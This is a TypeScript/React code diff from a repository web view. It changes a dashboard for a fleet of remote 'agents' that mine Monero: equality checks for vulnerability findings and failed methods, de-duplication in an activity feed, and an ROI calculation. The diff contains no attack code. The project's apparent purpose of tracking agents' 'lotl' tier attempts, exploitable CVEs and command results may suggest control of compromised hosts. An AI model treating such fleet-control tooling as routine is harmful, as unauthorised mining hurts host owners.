if (u.vuln_findings !== undefined && agent.vuln_findings !== u.vuln_findings) return false;
|
if (u.atlas_skips !== undefined && !atlasSkipsEq(agent.atlas_skips, u.atlas_skips)) return false;
|
||||||
|
if (u.vuln_findings !== undefined && !vulnFindingsEq(agent.vuln_findings, u.vuln_findings)) return false;
|
||||||
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
|
if (u.vuln_risk_score !== undefined && agent.vuln_risk_score !== u.vuln_risk_score) return false;
|
||||||
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
|
if (u.join_lane !== undefined && agent.join_lane !== u.join_lane) return false;
|
||||||
if (u.parent_agent_id !== undefined && agent.parent_agent_id !== u.parent_agent_id) return false;
|
if (u.parent_agent_id !== undefined && agent.parent_agent_id !== u.parent_agent_id) return false;
|
||||||
@@ -84,6 +85,74 @@ function tierAttemptsEq(a?: import('../types/lotl').TierAttempt[], b?: import('.
|
|||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function failedMethodsEq(
|
||||||
|
a?: { method: string; reason: string; at: string }[],
|
||||||
|
b?: { method: string; reason: string; at: string }[]
|
||||||
|
): boolean {
|
||||||
|
if (a === b) return true;
|
||||||
|
if (!a || !b || a.length !== b.length) return false;
|
||||||
|
for (let i = 0; i < a.length; i++) {
|
||||||
|
if (a[i].method !== b[i].method || a[i].reason !== b[i].reason || a[i].at !== b[i].at) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function servicesEq(a?: AgentService[], b?: AgentService[]): boolean {
|
||||||
|
if (a === b) return true;
|
||||||
|
if (!a || !b || a.length !== b.length) return false;
|
||||||
|
for (let i = 0; i < a.length; i++) {
|
||||||
|
const x = a[i];
|
||||||
|
const y = b[i];
|
||||||
|
if (
|
||||||
|
x.name !== y.name ||
|
||||||
|
x.display_name !== y.display_name ||
|
||||||
|
x.status !== y.status ||
|
||||||
|
x.start_type !== y.start_type
|
||||||
|
) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function atlasSkipsEq(
|
||||||
|
a?: { tier: string; condition: string; reason: string }[],
|
||||||
|
b?: { tier: string; condition: string; reason: string }[]
|
||||||
|
): boolean {
|
||||||
|
if (a === b) return true;
|
||||||
|
if (!a || !b || a.length !== b.length) return false;
|
||||||
|
for (let i = 0; i < a.length; i++) {
|
||||||
|
if (a[i].tier !== b[i].tier || a[i].condition !== b[i].condition || a[i].reason !== b[i].reason) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
function vulnFindingsEq(
|
||||||
|
a?: import('../types/recon').VulnFinding[],
|
||||||
|
b?: import('../types/recon').VulnFinding[]
|
||||||
|
): boolean {
|
||||||
|
if (a === b) return true;
|
||||||
|
if (!a || !b || a.length !== b.length) return false;
|
||||||
|
for (let i = 0; i < a.length; i++) {
|
||||||
|
const x = a[i];
|
||||||
|
const y = b[i];
|
||||||
|
if (
|
||||||
|
x.cve_id !== y.cve_id ||
|
||||||
|
x.severity !== y.severity ||
|
||||||
|
x.component !== y.component ||
|
||||||
|
x.patched !== y.patched ||
|
||||||
|
x.exploitable_in_fleet_context !== y.exploitable_in_fleet_context
|
||||||
|
) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
|
/** WS message types that drive latestMessage consumers (sound, presence, emberwake). */
|
||||||
export const WS_LATEST_MESSAGE_TYPES = new Set([
|
export const WS_LATEST_MESSAGE_TYPES = new Set([
|
||||||
'presence_snapshot',
|
'presence_snapshot',
|
||||||
|
|||||||
@@ -103,6 +103,9 @@ export default function ActivityFeedPage() {
|
|||||||
const prevAgentStatus = useRef<Record<string, string>>({}); // id → status
|
const prevAgentStatus = useRef<Record<string, string>>({}); // id → status
|
||||||
const prevHashrates = useRef<Record<string, number>>({}); // id → hashrate_15m
|
const prevHashrates = useRef<Record<string, number>>({}); // id → hashrate_15m
|
||||||
const prevPosture = useRef<Record<string, number>>({}); // id → posture_score
|
const prevPosture = useRef<Record<string, number>>({}); // id → posture_score
|
||||||
|
const seenShares = useRef<Set<string>>(new Set());
|
||||||
|
const seenAlerts = useRef<Set<string>>(new Set());
|
||||||
|
const aiInitialized = useRef(false);
|
||||||
|
|
||||||
// Build agent name lookup
|
// Build agent name lookup
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
@@ -160,7 +163,7 @@ export default function ActivityFeedPage() {
|
|||||||
const prev = prevHashrates.current[agent.id];
|
const prev = prevHashrates.current[agent.id];
|
||||||
const cur = agent.hashrate_15m ?? 0;
|
const cur = agent.hashrate_15m ?? 0;
|
||||||
prevHashrates.current[agent.id] = cur;
|
prevHashrates.current[agent.id] = cur;
|
||||||
if (prev === undefined || prev <= 0) continue;
|
if (prev === undefined) continue;
|
||||||
const delta = cur - prev;
|
const delta = cur - prev;
|
||||||
// Only emit if ≥20% change AND at least 100 H/s delta
|
// Only emit if ≥20% change AND at least 100 H/s delta
|
||||||
if (Math.abs(delta) >= 100 && Math.abs(delta) / Math.max(prev, 1) >= 0.20) {
|
if (Math.abs(delta) >= 100 && Math.abs(delta) / Math.max(prev, 1) >= 0.20) {
|
||||||
@@ -197,13 +200,38 @@ export default function ActivityFeedPage() {
|
|||||||
}, [agents, push]);
|
}, [agents, push]);
|
||||||
|
|
||||||
// ── New share events ───────────────────────────────────────────────────
|
// ── New share events ───────────────────────────────────────────────────
|
||||||
const lastShareId = useRef<string | null>(null);
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (recentShares.length === 0) return;
|
if (recentShares.length === 0) return;
|
||||||
const top = recentShares[0];
|
|
||||||
const key = top.id != null ? String(top.id) : `${top.agent_id}-${top.hash}`;
|
// On first load, we initialize the seen list to avoid back-filling old shares
|
||||||
if (key === lastShareId.current) return;
|
if (seenShares.current.size === 0) {
|
||||||
lastShareId.current = key;
|
for (const s of recentShares) {
|
||||||
|
const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`;
|
||||||
|
seenShares.current.add(key);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const newShares = [];
|
||||||
|
for (let i = recentShares.length - 1; i >= 0; i--) {
|
||||||
|
const s = recentShares[i];
|
||||||
|
const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`;
|
||||||
|
if (!seenShares.current.has(key)) {
|
||||||
|
seenShares.current.add(key);
|
||||||
|
newShares.push(s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (seenShares.current.size > 200) {
|
||||||
|
const nextSet = new Set<string>();
|
||||||
|
for (const s of recentShares) {
|
||||||
|
const key = s.id != null ? String(s.id) : `${s.agent_id}-${s.hash}`;
|
||||||
|
nextSet.add(key);
|
||||||
|
}
|
||||||
|
seenShares.current = nextSet;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const top of newShares) {
|
||||||
const name = agentMapRef.current.get(top.agent_id) ?? top.agent_id?.slice(0, 8);
|
const name = agentMapRef.current.get(top.agent_id) ?? top.agent_id?.slice(0, 8);
|
||||||
push({
|
push({
|
||||||
id: eid(), kind: 'share',
|
id: eid(), kind: 'share',
|
||||||
@@ -212,15 +240,38 @@ export default function ActivityFeedPage() {
|
|||||||
detail: top.accepted ? undefined : top.error ?? 'pool rejection',
|
detail: top.accepted ? undefined : top.error ?? 'pool rejection',
|
||||||
ts: new Date(top.timestamp ?? Date.now()),
|
ts: new Date(top.timestamp ?? Date.now()),
|
||||||
});
|
});
|
||||||
|
}
|
||||||
}, [recentShares, push]);
|
}, [recentShares, push]);
|
||||||
|
|
||||||
// ── Fleet alert events ─────────────────────────────────────────────────
|
// ── Fleet alert events ─────────────────────────────────────────────────
|
||||||
const lastAlertId = useRef<string | null>(null);
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (fleetAlerts.length === 0) return;
|
if (fleetAlerts.length === 0) return;
|
||||||
const top = fleetAlerts[0];
|
|
||||||
if (top.id === lastAlertId.current) return;
|
if (seenAlerts.current.size === 0) {
|
||||||
lastAlertId.current = top.id;
|
for (const a of fleetAlerts) {
|
||||||
|
seenAlerts.current.add(a.id);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const newAlerts = [];
|
||||||
|
for (let i = fleetAlerts.length - 1; i >= 0; i--) {
|
||||||
|
const a = fleetAlerts[i];
|
||||||
|
if (!seenAlerts.current.has(a.id)) {
|
||||||
|
seenAlerts.current.add(a.id);
|
||||||
|
newAlerts.push(a);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (seenAlerts.current.size > 200) {
|
||||||
|
const nextSet = new Set<string>();
|
||||||
|
for (const a of fleetAlerts) {
|
||||||
|
nextSet.add(a.id);
|
||||||
|
}
|
||||||
|
seenAlerts.current = nextSet;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const top of newAlerts) {
|
||||||
push({
|
push({
|
||||||
id: eid(), kind: 'alert',
|
id: eid(), kind: 'alert',
|
||||||
agentId: top.agent_id, agentName: top.agent_name,
|
agentId: top.agent_id, agentName: top.agent_name,
|
||||||
@@ -228,15 +279,32 @@ export default function ActivityFeedPage() {
|
|||||||
detail: top.type,
|
detail: top.type,
|
||||||
ts: new Date(top.timestamp ?? Date.now()),
|
ts: new Date(top.timestamp ?? Date.now()),
|
||||||
});
|
});
|
||||||
|
}
|
||||||
}, [fleetAlerts, push]);
|
}, [fleetAlerts, push]);
|
||||||
|
|
||||||
// ── Command result events ──────────────────────────────────────────────
|
// ── Command result events ──────────────────────────────────────────────
|
||||||
const lastCmdSeq = useRef(-1);
|
const lastCmdSeq = useRef(-1);
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (commandResults.length === 0) return;
|
if (commandResults.length === 0) return;
|
||||||
const top = commandResults[commandResults.length - 1];
|
|
||||||
if ((top._seq ?? -1) <= lastCmdSeq.current) return;
|
if (lastCmdSeq.current === -1) {
|
||||||
lastCmdSeq.current = top._seq ?? -1;
|
lastCmdSeq.current = Math.max(...commandResults.map((r) => r._seq ?? -1));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const newResults = [];
|
||||||
|
for (const r of commandResults) {
|
||||||
|
const seq = r._seq ?? -1;
|
||||||
|
if (seq > lastCmdSeq.current) {
|
||||||
|
newResults.push(r);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (newResults.length > 0) {
|
||||||
|
lastCmdSeq.current = Math.max(...newResults.map((r) => r._seq ?? -1));
|
||||||
|
}
|
||||||
|
|
||||||
|
for (const top of newResults) {
|
||||||
const name = agentMapRef.current.get(top.agent_id ?? '') ?? top.agent_id?.slice(0, 8);
|
const name = agentMapRef.current.get(top.agent_id ?? '') ?? top.agent_id?.slice(0, 8);
|
||||||
push({
|
push({
|
||||||
id: eid(), kind: 'command',
|
id: eid(), kind: 'command',
|
||||||
@@ -245,11 +313,24 @@ export default function ActivityFeedPage() {
|
|||||||
detail: top.success ? undefined : top.message?.slice(0, 80),
|
detail: top.success ? undefined : top.message?.slice(0, 80),
|
||||||
ts: new Date(),
|
ts: new Date(),
|
||||||
});
|
});
|
||||||
|
}
|
||||||
}, [commandResults, push]);
|
}, [commandResults, push]);
|
||||||
|
|
||||||
// ── AI activity events ─────────────────────────────────────────────────
|
// ── AI activity events ─────────────────────────────────────────────────
|
||||||
const lastAiAgent = useRef<Record<string, string>>({});
|
const lastAiAgent = useRef<Record<string, string>>({});
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
|
if (aiActivity.length === 0) return;
|
||||||
|
|
||||||
|
if (!aiInitialized.current) {
|
||||||
|
for (const entry of aiActivity) {
|
||||||
|
if (entry.last_action) {
|
||||||
|
lastAiAgent.current[entry.agent_id] = entry.last_action;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
aiInitialized.current = true;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
for (const entry of aiActivity) {
|
for (const entry of aiActivity) {
|
||||||
const lastAction = lastAiAgent.current[entry.agent_id];
|
const lastAction = lastAiAgent.current[entry.agent_id];
|
||||||
if (entry.last_action && entry.last_action !== lastAction) {
|
if (entry.last_action && entry.last_action !== lastAction) {
|
||||||
|
|||||||
@@ -108,7 +108,7 @@ export default function ROIPage() {
|
|||||||
? (hr / totalHashrate) * xmrPerDay
|
? (hr / totalHashrate) * xmrPerDay
|
||||||
: 0;
|
: 0;
|
||||||
const nodeUsdDay = nodeXmrDay * price;
|
const nodeUsdDay = nodeXmrDay * price;
|
||||||
const nodeCores = a.cpu_cores ?? 0;
|
const nodeCores = a.status === 'online' ? (a.cpu_cores ?? 0) : 0;
|
||||||
const nodeWatts = nodeCores * WATT_PER_CORE_ESTIMATE;
|
const nodeWatts = nodeCores * WATT_PER_CORE_ESTIMATE;
|
||||||
const nodeKwhDay = (nodeWatts / 1000) * 24;
|
const nodeKwhDay = (nodeWatts / 1000) * 24;
|
||||||
const nodeElecCost = nodeKwhDay * kwh;
|
const nodeElecCost = nodeKwhDay * kwh;
|
||||||
|
|||||||
Reference in New Issue
Block a user